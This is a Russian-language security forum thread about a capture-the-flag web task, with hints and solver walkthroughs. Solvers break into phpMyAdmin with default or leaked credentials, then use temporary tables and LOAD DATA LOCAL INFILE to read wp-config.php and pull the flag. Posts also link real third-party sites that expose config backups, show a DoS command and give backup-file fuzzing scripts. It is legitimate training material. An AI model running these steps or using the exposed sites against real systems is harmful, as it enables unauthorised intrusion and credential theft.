Просмотр полной версии : Task #3
Скорее всего это последнее задание из конкретно простых.
Немного сменим направление, чистый веб и никакого программирования.
Задание не придумано, а основано на реальных событиях, поэтому легенда будет такая:
Вас попросили проверить сайт, который вероятно взломали и навешали зловредных js.
Сайт восстановили из чистой копии и попросили найти место, через которое могли его взломать.
Задание:
Сайт: http://task3.antichat.com
Найти уязвимость на сайте, индикатором правильности поиска будет служить флаг md5, но присылать в ПМ форума нужно не его, а само прохождение.
Срок:
две недели.
Прошли:
crlf (https://antichat.live/members/285197/)
l1ght (https://antichat.live/members/30257/)
Gorbachev (https://antichat.live/members/300636/)
grimnir (https://antichat.live/members/197111/)
MichelleBoxing (https://antichat.live/members/328947/)
ZodiaX (https://antichat.live/members/84750/)
p4ulinho (https://antichat.live/members/296145/)
=HALK= (https://antichat.live/members/67039/)
Cybersteger (https://antichat.live/members/99929/)
redscout (https://antichat.live/members/289016/)
gurux13 (https://antichat.live/members/332358/)
Franky_T (https://antichat.live/members/328754/)
unstppbl (https://antichat.live/members/328941/)
Stepan999 (https://antichat.live/members/330429/)
Прохождения (https://antichat.live/threads/468333/page-4/)
==
Тот_самый_Щуп
27.01.2019, 22:14
Нормальный таск! Сутки прошли, а ещё никто не осилил. Хорошее начало
↑ (https://antichat.live/posts/4280435/)
Нормальный таск! Сутки прошли, а ещё никто не осилил. Хорошее начало
Да просто мы его еще на начали делать #выe6осыотолдфагов
↑ (https://antichat.live/posts/4280435/)
Нормальный таск! Сутки прошли, а ещё никто не осилил. Хорошее начало
Это же не рафинированный кусок скрипта с уязвимостью, а "реальный сайт", просто на исследование "чего тут вообще есть" нужно время.
Все нормально.
Полезно поковырять для практики, легально разрешили проверить площадку на прочность, но все же не хочется, чтобы на это тратили слишком много времени, лучше поковырять суть задания.
Поэтому небольшие хинты.
У ВП не зря залочена админка.
Ищем другие точки входа.
Многие уже нашли, несколько человек уже даже открыли.
Собственно там и начинается задание, а пока это накладные расходы, свойственные работе на реальных сайтах.
↑ (https://antichat.live/posts/4280537/)
Да просто мы его еще на начали делать
#выe6осыотолдфагов
У олдфагов будет повод убедиться, что один из старых трюков эту дверь тоже откроет.
Есть и еще одна точка входа, для цтфников она практически стандарт, хотя на сайтах почти не встречается.
Короче есть два входа, один да найдете.
Про флаг. Он помечен явно, что это флаг, не ошибетесь.
Времени на анализ и поиск точки входа было достаточно, не хочу чтобы вы убили об этот процесс весь свой запал.
Можно продолжить решать без подсказок (и это самый правильный выбор), а для тех, кто пока не чувствует себя уверенно в поиске - будет спойлер:
.SpoilerTarget" type="button">Spoiler: Осторожно, спойлер - подсказка.
Кроме Вордпресса на сайте, как многие "заметили", есть еще и /phpmyadmin.
Но для входа нужна учетная запись.
Где ее взять?
Для олдфагов сработает некогда дефолтный пароль для pma
pma : pmapass
кстати на реальном сайте сработал именно он.
И следы о нем до сих пор присутствуют в дефолтном конфиге PMA.
Кроме того можно обнаружить файл /phpmyadmin/config.inc.php.bak
Иногда простые задания трудно решают.
Даже топовые ребята.
Возможно не верят в простое решение, если сразу не получилось, то это должно быть чего то очень навороченное.
Может и не в этом дело, но у меня такое бывало.
Хочу еще раз подтвердить, задание очень простое.
Настолько простое, что вплоть до момента публикации боролся с желанием немного его утяжелить, но не позволил себе сделать этого.
Решил, пусть лучше человек 200 - 300 (вебщиков то больше, чем кодеров) решат его и получат немного удовольствия от ощущения того, что вот был тупик, не хватает прав и привычных инструментов, но небольшой финт и все заработало.
Тот_самый_Щуп
30.01.2019, 10:56
Ну по количеству прошедших оно сразу видно, насколько простое. Для цветных не спорю, оно может быть и простое, но выкладывается таск для всех желающих, а не только для цветных.
К примеру, файл config.inc.php.bak его нету в известных словарях типа dirbuster, база директорий b000m`a, ArxScan, и так далее, соответственно скан привычными инструментами ничего кроме PMA не найдет.
Лично я на таск забил, потратив достаточно времени на перебор известных багов WP, исследуя REST API, и всевозможные альтернативы для залогинивания, редактирования постов, и так далее.
Потом присутствие /xmlrpc.php который по сути пустой файл, это тоже сбивало с толку, зачем он там? Это финт, или некий тролл трюк, чтобы сбить с толку. Ну и про PMA тоже самое, когда наткнулся на него, первым делом так же подумал, что он для запутывания, увести в другую сторону от реального решения.
В общем лично мне таск не зашел, и по большей части из за потраченного времени. Предыдущие два были по красоте, и проходить их было в удовольствие.
Для вебщика PMA - это подарок.
Ковырять нужно именно его.
А в ВП специально залочил админку и xmlrpc.php, чтобы не убивались об них.
Два дня потратить на разведку сайта - это не много для вебщика, сломаться не должен был, потому как обычное дело.
Если нет такой привычки, вот он удобный случай попрактиковаться.
Задания решаем не столько для того, чтобы попасть в таблицу, сколько для получения новых навыков.
Ну и подсказки выложены, используйте их.
По поводу config.inc.php.bak, пожалуй соглашусь.
Исходил из того, что это стандартная проверка в ctf, не нужны дополнительные инструменты, все решается без сканеров.
Тот_самый_Щуп
30.01.2019, 11:23
/xmlrpc.php не лишним было бы заблочить как админку. С админкой всё было ясно с самого начала, а доступный из веба /xmlrpc.php который не реагировал ни на что, сбивал с толку. Возможно только меня, но это как заметка.
↑ (https://antichat.live/posts/4281076/)
По поводу config.inc.php.bak, пожалуй соглашусь.
По моему, нормальная практика пробивать конфиги по расширениям типа .old, .swp, .php~ . Тулзы типа wfuzz отрабатывают такое за считанные секунды. И если называть это метод CTF-ным, тогда сюда же можно приплюсовать .git, .idea, да и весь брут дир в целом
По мне так pma : pmapass,на свежих версиях, нонсенс)
По сложности, таки да, таск не из разряда Ctrl+C/Ctrl+V
↑ (https://antichat.live/posts/4281113/)
По моему, нормальная практика пробивать конфиги по расширениям типа
.old
,
.swp
,
.php~
. Тулзы типа wfuzz отрабатывают такое за считанные секунды. И если называть это метод CTF-ным, тогда сюда же можно приплюсовать
.git
,
.idea
, да и весь брут дир в целом
По мне так
pma : pmapass,
на свежих версиях, нонсенс)
По сложности, таки да, таск не из разряда
Ctrl+C/Ctrl+V
такая практика действительно обычное дело, и
.SpoilerTarget" type="button">Spoiler: осторожно, спойлер
wp-config.php.bak/swp/etc
- распространенный косяк из реальных условий. ctf-ники живут в своем мире и всегда смотрят на три шага вперед, поэтому
.SpoilerTarget" type="button">Spoiler: осторожно, спойлер
config.inc.php.bak или дира pma/admin/
- вполне себе теоретически существующая уязвимость отсылка с pmapass исключительно для олдов, поэтому недовольство Gorbachev (https://antichat.live/members/300636/) обосновано. Желаю докопаться до истины, всем кто не сдается и продолжает решать таск !
//добавил спойлеры,если кто-то только начинает делать таск
↑ (https://antichat.live/posts/4281137/)
На счёт всего остального трай хордер
Ты похоже зарешал?
↑ (https://antichat.live/posts/4281137/)
у неф лойн тоже
прекрати терзать никнейм
BabaDook
30.01.2019, 14:57
↑ (https://antichat.live/posts/4281140/)
Ты похоже зарешал?
прекрати терзать никнейм
Не, ты что, я всё. Потерял интерес.
А я ведь пытался гуглить что-то вроде phpmyadmin default password)) Правда не нашел того, что надо. Обидно)
Тот_самый_Щуп
30.01.2019, 20:12
http://task.antichat.com:10003/?p=1
Флаг нашёл. Да потсоны, таск действительно легкий, там всё очень просто, ещё проще чем предыдущие таски. Постоянно так делаем в повседневной жизни
Поскольку про pma юзверя я был не в курсе, а файл config.inc.php.bak я своим сканнером не нашёл, заявлять что прошел таск не буду. Но было довольно любопытно.
↑ (https://antichat.live/posts/4281206/)
А я ведь пытался гуглить что-то вроде phpmyadmin default password)) Правда не нашел того, что надо. Обидно)
Да, информация не гуглится, больше из практики.
В разное время срабатывали комбинации
pma : пусто
pma : pma
pma : pmapass
Сейчас это скорее всего не актуально.
↑ (https://antichat.live/posts/4281206/)
А я ведь пытался гуглить что-то вроде phpmyadmin default password)) Правда не нашел того, что надо. Обидно)
↑ (https://antichat.live/posts/4281239/)
Сейчас это скорее всего не актуально.
фишку с аккаунтом php : pmapass нельзя назвать не актуальной: советую взять на заметку, потому что на практике такая вещь встречается. она не теряет своей актуальности, ввиду того что создание аккаунта pma описано в официальных манах как самого pma
https://docs.phpmyadmin.net/en/latest/setup.html (раздел Manual configuration)
так и в сотни других инструкций по установки этого по: https://wiki.archlinux.org/index.php/phpMyAdmin
на форуме эта фишка упоминалась очень давно, поэтому и помнят только старые пользователи. узнать о ней можно было собственно скачав движок с офф сайта изучив config.sample.inc.php/doc/sql/examples
Тот_самый_Щуп
30.01.2019, 23:47
l1ght,у тебя репутация 272 ук рф
По таску, Sqlmap уже в третий раз выручает
↑ (https://antichat.live/posts/4281287/)
l1ght,
у тебя репутация 272
ук рф
да чтоб у тебя sqlmap перестал вставать на иньекции за такие рофланы
WordPress стоит версии WordPress 5.0.3
Хотел попробовать уязвимость REST API
что то вроде POST запроса
http://task.antichat.com:10003/index.php?rest_route=/wp/v2/posts/1337&id=1qwe
Но уязвимость исправлена в WordPress версии 4.7.2.
Тот_самый_Щуп
31.01.2019, 03:32
rudi (https://antichat.live/members/126663/), там и phpmyadmin версии 4.7.5 (http://task.antichat.com:10003/phpmyadmin/js/codemirror/addon/hint/show-hint.css?v=4.7.5), а pma пользователь имеется. Таск полон чудес, не вешай нос.
Для стимуляции интереса к таску, можно чутка почистить ряды цветных.
Говорят, после этого творческий интерес моментально просыпается, и глядишь ещё штук 5 альтернативных решений будет найдено.
MichelleBoxing
31.01.2019, 13:24
↑ (https://antichat.live/posts/4281283/)
на форуме эта фишка упоминалась очень давно, поэтому и помнят только старые пользователи. узнать о ней можно было собственно скачав движок с офф сайта
изучив config.sample.inc.php/doc/sql/examples
не знаю насколько это работает на практике, но когда все наиболее распространенные пароли, которые я знаю закончились, я пошел ставить phpmyadmin, чтобы посмотреть, какие вообще файлы он там по дефолту ставит, и в именно в конфиге эта пара как раз и присутствовала закоментированная.
а вот с дальше пока ничего не получается...
↑ (https://antichat.live/posts/4281125/)
- вполне себе теоретически существующая уязвимость
Пробежался по небольшому количеству доменов. Вполне себе практически существующая уязвимость
.SpoilerTarget" type="button">Spoiler: Осторожно! Только для тех, кого дома не ждет семья!
Внимание! Attention!
Материалы предоставлены исключительно в ознакомительных целях!
Materials provided for informational purposes only!
.SpoilerTarget" type="button">Spoiler: Открыть на свой страх и риск!
http://jiem.org/config.inc.php.old
http://taiwan-city.com/config.inc.php~
http://plasson.com.au/config.inc.php.bak
crlf (https://antichat.live/members/285197/),
↑ (https://antichat.live/posts/4281125/)
такая практика действительно обычное дело, и
Spoiler: осторожно, спойлер
wp-config.php.bak/swp/etc
- распространенный косяк из реальных условий.
повторюсь, конфиги .bak/swp/(2)/.svn/git/тратата самое обычное дело. ты их и покидал в топик. config.inc.php.bak в пма такая же теоретическая ситуация как и pma/admin/ (скинь сюда или в личку живой пример такого бага, если не считаешь его теоретическим )
что бы не флудить: также помимо бекапов, временных файлов, часто в цмс и фраемворках файл с настройками подключения к бд бывает "типа защищен" (каким-нибудь .htaccess) или вообще никак не защищен. например в laravel по дефолту он (.env) лежит на каталог выше проекта. но разработчики любят размещать сайты в субдирах, или менять вебдиру (google:"index.of" ".env").
//edit
p.s. опа, еще один коллега по 272
↑ (https://antichat.live/posts/4281496/)
повторюсь, конфиги .bak/swp/(2)/.svn/git/тратата самое обычное дело. ты их и покидал в топик.
↑ (https://antichat.live/posts/4281125/)
config.inc.php.bak или дира pma/admin/
↑ (https://antichat.live/posts/4281496/)
скинь сюда или в личку живой пример такого бага, если не считаешь его теоретическим
Окей, по конфигу, проехали. А вот с pma/admin/, знать бы на что грепать, а так не вопрос, дело времени, извращенцев то хватает. Есть идеи?
↑ (https://antichat.live/posts/4281496/)
но разработчики любят размещать сайты в субдирах, или менять вебдиру (google:"index.of" ".env")
По этому поводу и CVE есть https://www.cvedetails.com/cve/CVE-2017-16894/
↑ (https://antichat.live/posts/4281496/)
p.s. опа, еще один коллега по 272
О как, апасно однако
BabaDook
31.01.2019, 22:08
1.zip или www.zip (http://www.zip) часто выручали
↑ (https://antichat.live/posts/4281508/)
Окей, по конфигу, проехали. А вот с
pma/admin/
, знать бы на что грепать, а так не вопрос, дело времени, извращенцев то хватает. Есть идеи?
По этому поводу и CVE есть
https://www.cvedetails.com/cve/CVE-2017-16894/
О как, апасно однако
Он про репутацию
↑ (https://antichat.live/posts/4281510/)
Он про репутацию
С репутацией всё в порядке, стараюсь её не портить!
Just 4 lulz http://www.recam.org/pma/admin/
Тот_самый_Щуп
31.01.2019, 22:58
Вы только своими списками и идеями по файлам\директориям не забывайте делиться
Списки можно мне в личку, дополню свою базу, и в обратку поделюсь с вами, там я тоже много чего из своей практики руками добавил.
PS: базы от wfuzz, и расширенные базы от dirbuster это откровенный мусор, большинство паттернов в реальности никогда не встретятся, поэтому загружать на скан несколько десятков метров шлакобаз, идея так себе.
Прошел таск .Таск просто охеренен!
MichelleBoxing
01.02.2019, 09:01
↑ (https://antichat.live/posts/4281379/)
а вот с дальше пока ничего не получается...
получилось наконец, таск супер!!
пока проходил, много всего нового для себя узнал
Имеется БД по адресу
http://task.antichat.com:10003/phpmyadmin/
Но она пустая. следовательно сайт выводит информацию на свои страницы не используя этой базы, значит где то должна быть еще одна база...
p4ulinho
02.02.2019, 12:46
Таск супер, заставил напрячь извилины)
У цветных зафиксиована подсказка, уравняем шансы:
.SpoilerTarget" type="button">Spoiler: Подсказка
В ПМА сильно урезаны права и кажется, что ничего сделать нельзя.
С этим вопросом надо как-то разобраться.
а кто такие цветные?
Кстати, сайт легко положить запросом
python doser.py -t 1100 -g 'http://task.antichat.com:10003/?s=csdcscsdds+dscsdc++dscs+sdc+sd'
Предварительно скачав
https://github.com/Quitten/doser.py
Тот_самый_Щуп
03.02.2019, 01:27
↑ (https://antichat.live/posts/4281997/)
а кто такие цветные?
Кстати, сайт легко положить запросом
python doser.py -t 1100 -g 'http://task.antichat.com:10003/?s=csdcscsdds+dscsdc++dscs+sdc+sd'
Предварительно скачав
https://github.com/Quitten/doser.py
Зачем такие сложности? Поменяй пароли у my и pma, сложность прохождения сразу возрастет, и тогда точно справится сильнейший.
BabaDook
03.02.2019, 02:52
↑ (https://antichat.live/posts/4281997/)
а кто такие цветные?
Кстати, сайт легко положить запросом
python doser.py -t 1100 -g 'http://task.antichat.com:10003/?s=csdcscsdds+dscsdc++dscs+sdc+sd'
Предварительно скачав
https://github.com/Quitten/doser.py
Красава, проси терь деньга за уязвимость
↑ (https://antichat.live/posts/4281997/)
а кто такие цветные?
Кстати, сайт легко положить запросом
python doser.py -t 1100 -g 'http://task.antichat.com:10003/?s=csdcscsdds+dscsdc++dscs+sdc+sd'
Предварительно скачав
https://github.com/Quitten/doser.py
Площадки подняты для удобства решающих.
Но могу предложить решать задания только на localhost - настраивайте задания сами и ддосьте на здоровье.
Вроде умный парень.
?
BabaDook (https://antichat.live/members/263150/), это задание прям для тебя.
Ты можешь его решить.
Включайся, самому понравится, когда решишь.
Вообще то, после подсказки - решение становится очевидным.
Надо просто посмотреть в указанную сторону и проверить, как дела обстоят на самом деле.
В общем, еще человек 200 - 300 могут решить спокойно.
BabaDook
03.02.2019, 09:10
↑ (https://antichat.live/posts/4282047/)
BabaDook (https://antichat.live/members/263150/), это задание прям для тебя.
Ты можешь его решить.
Включайся, самому понравится, когда решишь.
Вообще то, после подсказки - решение становится очевидным.
Надо просто посмотреть в указанную сторону и проверить, как дела обстоят на самом деле.
В общем, еще человек 200 - 300 могут решить спокойно.
Не, я же дно. Я такое не решаю. я только могу /robots.txt
↑ (https://antichat.live/posts/4282048/)
Не, я же дно. Я такое не решаю. я только могу /robots.txt
Обычно не говорю того, чего не знаю.
Поэтому - пробуй.
BabaDook
03.02.2019, 10:14
↑ (https://antichat.live/posts/4282050/)
Обычно не говорю того, чего не знаю.
Поэтому - пробуй.
Угу, я потом узнаю решения.
↑ (https://antichat.live/posts/4282058/)
Угу, я потом узнаю решения.
Да кроется как обычно, давно уже рута взял небось
Тот_самый_Щуп
03.02.2019, 12:15
Ходит слух, что пароль dooble в таске WP совпадает с его паролем от ачата... Так-что желающие залезть в приват, спешите, пока не поменял
BabaDook
03.02.2019, 13:03
↑ (https://antichat.live/posts/4282078/)
Да кроется как обычно, давно уже рута взял небось
что за рут?
↑ (https://antichat.live/posts/4282104/)
что за рут?
BabaDook
03.02.2019, 15:48
↑ (https://antichat.live/posts/4282105/)
хз чё там не играет видео
Cybersteger
03.02.2019, 18:59
интересный таск,ждем следующий )
redscout
04.02.2019, 00:08
Прошел! Хороший таск, ждем еще.
redscout
04.02.2019, 16:13
К слову, файл config.inc.php.bak можно сбрутить по словарю из SecLists (https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/quickhits.txt), который расположен по пути Discovery/Web-Content/quickhits.txt
Если зайти в phpmyadmin по логину pma
то в БД пустая таблица
вопрос...
если расширить права то появится еще таблица?
↑ (https://antichat.live/posts/4282468/)
Если зайти в phpmyadmin по логину pma
то в БД пустая таблица
вопрос...
если расширить права то появится еще таблица?
Нет.
И просто про термины, в данном случае доступна БД с названием phpmyadmin, в которой нет таблиц.
БД test - тоже пуста.
Из под обеих учеток (pma или my) решение одинаковое.
БД вордпресса лежит на этом же сервере, но этим двум учеткам недоступна, наверное это хотел спросить.
Но ты уже сам писал по этому поводу.
Наверное будет полезным вкурить тему о привилегиях и правах .
unstppbl
05.02.2019, 15:52
done очень долго мучился, хотя в самом начале видел источник решения, но пропустиль
Franky_T
05.02.2019, 20:32
к обычному словарю после одного из тасков на рутми прибавляю постфиксы. Возможно, кому-то будет полезен список, а кто-то добавит что-то свое)
".backup",".bck",".old",".save",".bak",".sav","~",".copy",".old",".orig",".tmp",".txt",".back",".bkp",".bac",".tar",".gz",".tar.gz",".zip",".rar"
↑ (https://antichat.live/posts/4282712/)
к обычному словарю после одного из тасков на рутми прибавляю постфиксы. Возможно, кому-то будет полезен список, а кто-то добавит что-то свое)
".backup",".bck",".old",".save",".bak",".sav","~",".copy",".old",".orig",".tmp",".txt",".back",".bkp",".bac",".tar",".gz",".tar.gz",".zip",".rar"
вот этим часто пользуюсь https://github.com/Ekzorcist/pentest/blob/master/backup_fuzzer.py , неплохая штука, генерит список
.SpoilerTarget" type="button">Spoiler
~/quest/backup-fuzzer$ python backup_fuzzer.py -nd -cs index.php | wc -l
360
~/quest/backup-fuzzer$ python backup_fuzzer.py -nd -cs index.php | head
Index
Index.swp
Index.bak
Index.tar.bz2
Index.tgz
Index.tar.gz
Index.rar
Index.7z
Index.tmp
Index.old
~/quest/backup-fuzzer$ python backup_fuzzer.py -nd -cs index.php | tail
.INDEX.php.tar.gz
.INDEX.php.rar
.INDEX.php.7z
.INDEX.php.tmp
.INDEX.php.old
.INDEX.php.0
.INDEX.php.1
.INDEX.php.2
.INDEX.php.zip
.INDEX.php~
потом этот список можно расчехлить чем то вроде
~/quest/backup-fuzzer$ python backup_fuzzer.py -nd -cs index.php > for-fuzz
~/quest/backup-fuzzer$ cat backup_find.pl
#!/usr/bin/perl
open(F,"for-fuzz");
while()
{
$file = $_;
chomp($file);
$res = `curl -s 'http://site.com/$file' -I | grep 200`;
if($res)
{
print "found - $file\n";
}
}
если сайт конечно отдаёт адекватные коды ответа на несуществующие страницы
по хорошему бы ещё в фазер добавить расширения вида .phpOLD .phpBCK .phpBACKUP .php_1 php_2 / etc
Тот_самый_Щуп
06.02.2019, 06:50
↑ (https://antichat.live/posts/4282748/)
если сайт конечно отдаёт адекватные коды ответа на несуществующие страницы
Так кто-ж в 2019 году чекает по 200 OK на true\false?
По этой причине я не юзаю многие известные сканнеры. ИМХО чекать надо по отдаваемому размеру контента, а там уже шаманить с вероятностью отталкиваясь от цифр.
Бывали случаи нахождения админки, и прочих файлов которые нарочно выдавали 404, при этом на сайте корректно работали заголовки 200\404.
по поводу фазинга прошу скидывать всю инфу в тему у меня в подписи, как прилечу наведу порядок. Фазинг сила.
↑ (https://antichat.live/posts/4282815/)
Так кто-ж в 2019 году чекает по 200 OK на true\false?
По этой причине я не юзаю многие известные сканнеры. ИМХО чекать надо по отдаваемому размеру контента, а там уже шаманить с вероятностью отталкиваясь от цифр.
Бывали случаи нахождения админки, и прочих файлов которые нарочно выдавали 404, при этом на сайте корректно работали заголовки 200\404.
ахах я чекаю и спустя 10 лет буду чекать. слово "чекер" увидел тригер сработал)? сколько сайтов видел где разраб настолько глуп чтобы оставлять бекапные файлы и настраивать какую то логику запросов чтобы они не читались? я пока не одного
вообще я просто скинул два скрипта, как и где их использовать это дело каждого
если человек сразу запускает брутер, то это не человек, а обезьяна, как минимум должен быть минимальный обзор, что за технологии юзает сайт, шаред это или вдс, часовой пояс. это банальный минимум
BabaDook
08.02.2019, 01:48
↑ (https://antichat.live/posts/4283268/)
ахах я чекаю
и спустя 10 лет буду чекать. слово "чекер" увидел тригер сработал)? сколько сайтов видел где разраб настолько глуп чтобы оставлять бекапные файлы и настраивать какую то логику запросов чтобы они не читались? я пока не одного
вообще я просто скинул два скрипта, как и где их использовать это дело каждого
если человек сразу запускает брутер, то это не человек, а обезьяна, как минимум должен быть минимальный обзор, что за технологии юзает сайт, шаред это или вдс, часовой пояс. это банальный минимум
Это ЦТФ парень
↑ (https://antichat.live/posts/4283275/)
Это ЦТФ парень
ну и херово, ктф развивают навыки, убивают мышление
-- если только ими заниматься, против навыков я не имею ничего против
BabaDook
08.02.2019, 01:55
↑ (https://antichat.live/posts/4283278/)
ну и херово, ктф развивают навыки, убивают мышление
!=FALSE
Тот_самый_Щуп
08.02.2019, 08:25
↑ (https://antichat.live/posts/4283268/)
ахах я чекаю
и спустя 10 лет буду чекать. слово "чекер" увидел тригер сработал)? сколько сайтов видел где разраб настолько глуп чтобы оставлять бекапные файлы и настраивать какую то логику запросов чтобы они не читались? я пока не одного
вообще я просто скинул два скрипта, как и где их использовать это дело каждого
если человек сразу запускает брутер, то это не человек, а обезьяна, как минимум должен быть минимальный обзор, что за технологии юзает сайт, шаред это или вдс, часовой пояс. это банальный минимум
Вот это тебя бомбануло.
Спорить не буду, у каждого свой опыт, о своем я написал, не стоит его воспринимать так близко к сердцу.
Тот_самый_Щуп
08.02.2019, 08:27
А тем временем таск подходит к концу, не забываем, что это последнее задание из конкретно простых, и то, сколько было эмоций и пригоревших жоп.
Я уже в ожидании конкретно сложного таска
Stepan999
08.02.2019, 14:41
Прошел. Теперь я знаю немножечко больше.
Закрываем задание.
Первым делом нужно было найти "дверь".
Это phpmyadmin (http://task.antichat.com:10003/phpmyadmin/).
И дверь и "ключи" к ней можно найти без сканеров и брута.
Но на первый взгляд, если это и дверь, то ведет она в тупик, поскольку права у доступных учеток сильно порезаны.
И даже такой привычный инструмент, как load data local infile (https://rdot.org/forum/showthread.php?t=741) задействовать не получается, поскольку нет доступных таблиц и привилегий CREATE TABLE и INSERT.
При всей первоначально кажущейся неприступности, решение становится очевидным, когда понимаем, что существуют еще и временные таблицы, и права на работу с ними выставляются отдельно, и в данном случае права имеются.
Работать с временными таблицами почти так же удобно, как и с постоянными.
Единственное отличие - существуют они только на время сеанса, поэтому все операции нужно производить единым блоком, в одном сеансе.
В ПМА несколько запросов можно выполнить за один вызов, разделяя их точкой с запятой.
Проблемы с чтением локальных файлов исчезают.
Читаем конфиг Вордпресса, (расположен он в дефолтном месте, да и относительные пути подойдут - на каталог выше) и авторизуемся в ПМА с учеткой сайта.
Видим в базе табличку wp_task, в ней поле flag - конец истории.
Как можно было выйти на эти самые временные таблицы.
Мысли, они текут разными путями, но самым простым и естественным способом - задействовать штатные средства, команду "SHOW GRANTS", которая и показывает, какие права у нас есть.
Кто шел не первым, мог посмотреть статистику запросов - тоже хорошая подсказка.
Собственно решение умещается в три строчки, которые нужно выполнить в окне SQL запросов.
.SpoilerTarget" type="button">Spoiler: Прохождения
↑ (https://antichat.live)
Привет. Никогда с таким не сталкивался, но вроде всё логично)
/phpmyadmin/config.inc.php.bak
$cfg['Servers'][$i]['user'] = 'my';
$cfg['Servers'][$i]['password'] = 'asdn6YUTqwv';
SHOW GRANTS;
USE test;
CREATE TEMPORARY TABLE xxx (
xxx varchar(2000)
);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE xxx FIELDS TERMINATED BY '\n';
SELECT * FROM xxx LIMIT 0,1000;
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
51febb216a8363cf246338857349e299
Здоровский лайтовенький таск, обожаю такие, спасибо!
↑ (https://antichat.live)
1. 403 wp-admin,регистрация закрыта (в т.ч. через rest api),даже комменты вываливаются с 500ise. nmap исключает всевозможные варианты с кривыми настройками nginx-php+fpm,mysql итд - остается что - бекапы,конфиги - запускаем скан - находим pma пробуем root:root, pma
mapass
2. в пма урезанные права. я привык к класическому load data local infile,прав на create table в существующих бд нет поэтому
берем любую таблицу, например index_statistics у которой три колонки с varchar(192) на основе нее создаем временную и читаем конфиг вп
create temporary table s select * information_schema.index_statistics;load data local infile '../wp-config.php' into table s fields terminated by '\n';select * from s;
task:qlwkeju8Uyqmwepok$RR
3.заходим под учеткой вп, 51febb216a8363cf246338857349e299 (task3) флаг
↑ (https://antichat.live)
Флаг: 51febb216a8363cf246338857349e299
Даа, это действительно легко, просто как два пальца. Знатно вы нас затроллили.
PMA я нашел сканнером, и не смотря на то, что догадался просканить ещё и PMA директорию, ничего не нашел по стандартным листам для поиска файлов.
С подсказкой ясное дело в PMA вошел, но там снова меня ждала развилка, с одной стороны вроде бы load_file() работает, но толком не определить, есть ли запрет для пользователя, или просто пути до файлов подобрать не могу. Да и путей у меня не было, хотя их тоже активно пытался найти.
Конечно я обратил внимание, что есть пустая база даных, и помня ваши слова, что никаких запутанных механизмов нет, понял, что тут что то не так, но про трюк с LOAD DATA LOCAL INFILE я не знал.
Я догадался выполнить команду Grants for my@localhost и там сразу бросается в глаза вот это разрешение temp таблиц, ну а дальше загуглил эту тему, и вышел на способ LOAD DATA LOCAL INFILE, и вбив /etc/passwd увидел ошибку open_basedir, а это не мускуль ошибка, тут всё стало понятно, попробовал ./index.php и он мне вывел содержимое файла, а дальше всё просто, добираюсь до конфига вп, лезу в него, на таблицу wp_task и не обратил внимание. Пасс у dooble небрутабелен (бегло на cmd5 глянул), поэтому заменил на свой, думал, что дефейснув сайт и получу флаг, причем! Честно скажу, у меня вылетел из головы момент, что через PMA тупо отредактировать пост можно было, я залогинился, из под юзверя не получилось ничего, я сдуру опять в REST API полез, пытаясь отредактировать пост. Ну дальше через PMA отредактировал, флага не нашёл, что вызвало удивление, в wp_posts куча всяких непонятных хеш тегов было, там не увидел, потом начал проходиться по таблицам и наткнулся на таблицу wp_task, всё.
↑ (https://antichat.live)
решение
phpmyadmin нашел сразу, но пароли разные дефолтные не работали,
пошел ковырять rest ниче не получалось, решил поставить Phpmyadmin посмотреть какие файлы он по дефолту ставит и нашел там pma/pmapass
после входа в phpmyadmin ничего не получалось, прав не хватало на все что пробовал, не знал за что браться, что ковырять
пробовал всякую муть, но потом понял что версия относительно свежая и ничего в phpmyadmin это не сработает
прочекал версию, начал гуглить и была уязвимость на 4.8.1 (но я так понял она на предыдущих версиях не работает
https://www.vulnspy.com/phpmyadmin-4.8.1/
)
много еще всякой мути пробовал, вчера взял перерыв. После вчерашних сообщений от G G в Lvl8 чате что у него полулилось, вдохновленный решил дальше пробовать.
Как подсказал G G в чате, что все гуглиться решил что нужно еще раз попробовать покрутить эту cve на 4.8.1 с файлом сессии (возможно пути не правильные были...)
Зашел в phpmyadmin сегодня, на первой же странице мне говорит что мол, обновить до 4.8.5 и посмотри что там нового.
Перехожу по ссылке и он мне портянку выдает исправлений среди них * Arbitrary file read vulnerability (
https://www.phpmyadmin.net/security/PMASA-2019-1
)
а там про LOAD DATA INFILE а я ее до этого пробовал но не получилось. Почитал внимательно и узнал про LOCAL, охуел как давно эта фишка существует )
пошел проверят на таске все что начитался.
Ранее когда смотрел уже понял что в таблицы писать я не могу (ну не факт на самом деле), но есть возможность создавать временные таблицы
пошел гуглить как это делается и в итоге получилось с таким запросом прочитать конфиг вордпреса
CREATE TEMPORARY TABLE new_tbl as select * from information_schema.views;
load data local infile '../wp-config.php' into table test.new_tbl;
select * from test.new_tbl limit 100
флаг 51febb216a8363cf246338857349e299
Таск супер!!! спасибо
сорри за много букав )
↑ (https://antichat.live)
1)google pma escalation privilege
2)
гугл
https://www.experts-exchange.com/questions/28970464/MySQL-how-to-create-and-select-temp-tables.html
3)
отсюда отталкивался
show grants for 'my'@'localhost'
4)
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEMP;
SELECT * FROM TEMP;
5)==============
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE TEMP
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\r\n'
IGNORE 1 LINES;
SELECT * FROM TEMP;
6)define('DB_USER' 'task'); NULLNULL
define('DB_PASS 'qlwkeju8Uyqmwepok$RR');
============
7)wp-task
flag: 51febb216a8363cf246338857349e299
↑ (https://antichat.live)
прочитал конфиг вп через пма под юзером my:
create TEMPORARY table temp (text varchar(255) not null);
load data local infile '../wp-config.php' into table temp;
select * from temp limit 25,30;
под найденными данными учетки прочитал флаг из таблицы wp_task
↑ (https://antichat.live)
YO!
use test;
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '../wp-config.php' INTO TABLE temp FIELDS TERMINATED BY '\n';
SELECT * FROM temp LIMIT 0, 500;
логинимся в pma под task'ом и читаем флаг 51febb216a8363cf246338857349e299
↑ (https://antichat.live)
